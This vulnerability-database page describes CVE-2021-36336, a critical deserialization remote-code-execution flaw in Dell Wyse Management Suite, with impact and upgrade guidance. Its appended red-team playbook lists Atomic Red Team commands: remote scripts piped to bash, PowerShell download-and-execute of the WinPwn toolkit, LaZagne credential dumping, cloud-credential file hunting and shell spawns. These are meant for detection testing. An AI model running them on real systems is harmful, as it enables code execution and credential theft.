CVE-2021-36336
Overview
This vulnerability is a deserialization flaw present in Dell Wyse Management Suite versions 3.3.1 and below. The root cause lies in insecure handling of serialized data inputs within the management suite's processing components, allowing untrusted data to be deserialized without proper validation. This flaw affects the core application logic responsible for managing serialized objects, enabling manipulation of internal program state during deserialization.
Vulnerability Description
Wyse Management Suite 3.3.1 and below versions contain a deserialization vulnerability that could allow an unauthenticated attacker to execute code on the affected system.
Impact
An unauthenticated attacker can remotely execute arbitrary code on the affected system by sending crafted serialized data to the management suite's exposed interfaces. No user interaction or prior credentials are required, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation can lead to full system compromise, unauthorized control over management functions, and potential lateral movement within the network environment.
Solution
Dell recommends upgrading Dell Wyse Management Suite to version 3.4.0 or later, where the deserialization vulnerability is addressed. Detailed remediation instructions are available in Dell's official advisory at https://www.dell.com/support/kbdoc/000193079. No specific workarounds are provided; applying the vendor-supplied patch is the only effective mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The deserialization vulnerability present in Wyse Management Suite versions 3.3.1 and earlier poses a significant security risk due to its ability to allow unauthenticated attackers to execute arbitrary code on affected systems. Deserialization vulnerabilities occur when an application accepts serialized data from an untrusted source and converts it back into an object without adequate validation. In this case, the Wyse Management Suite fails to properly validate input during the deserialization process, enabling attackers to craft malicious payloads that can manipulate the application's behavior. This flaw can lead to unauthorized access, data breaches, and the potential for full system compromise.
Attack vectors for exploiting this vulnerability are varied and can be executed remotely, making it particularly dangerous. An attacker could leverage network access to send specially crafted serialized data to the Wyse Management Suite, triggering the deserialization process. Once the malicious payload is executed, the attacker could gain control over the system, allowing them to perform actions such as installing malware, exfiltrating sensitive data, or pivoting to other systems within the network. Scenarios may include targeted attacks against organizations that rely on Wyse Management Suite for managing their thin clients, where an attacker could disrupt operations or gain access to critical infrastructure.
The real-world impact of this vulnerability can be profound, particularly for organizations that utilize Wyse Management Suite for managing their endpoint devices. The high CVSS score of 9.8 indicates a critical severity level, suggesting that successful exploitation could lead to severe consequences, including financial loss, reputational damage, and regulatory penalties. Businesses may face operational disruptions as attackers could leverage the compromised systems to launch further attacks or to hold data hostage. Additionally, the potential for data breaches could expose sensitive customer information, leading to legal ramifications and loss of customer trust.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to ensure that all instances of Wyse Management Suite are updated to the latest version, where this vulnerability has been addressed. Regular patch management practices should be established to minimize the window of exposure to known vulnerabilities. Additionally, monitoring network traffic for unusual patterns or unauthorized access attempts can help identify potential exploitation attempts. Employing web application firewalls (WAFs) can also provide an additional layer of security by filtering out malicious payloads before they reach the application.
In conclusion, the deserialization vulnerability in Wyse Management Suite represents a critical threat to organizations that depend on this software for device management. The ease of exploitation and the potential for severe consequences necessitate immediate attention from cybersecurity teams. By prioritizing timely updates, robust monitoring, and proactive security measures, organizations can significantly reduce their risk exposure and safeguard their systems against this and similar vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Wyse Management Suite | All |
cpe:2.3:a:dell:wyse_management_suite:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-36336 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/kbdoc/000193079 |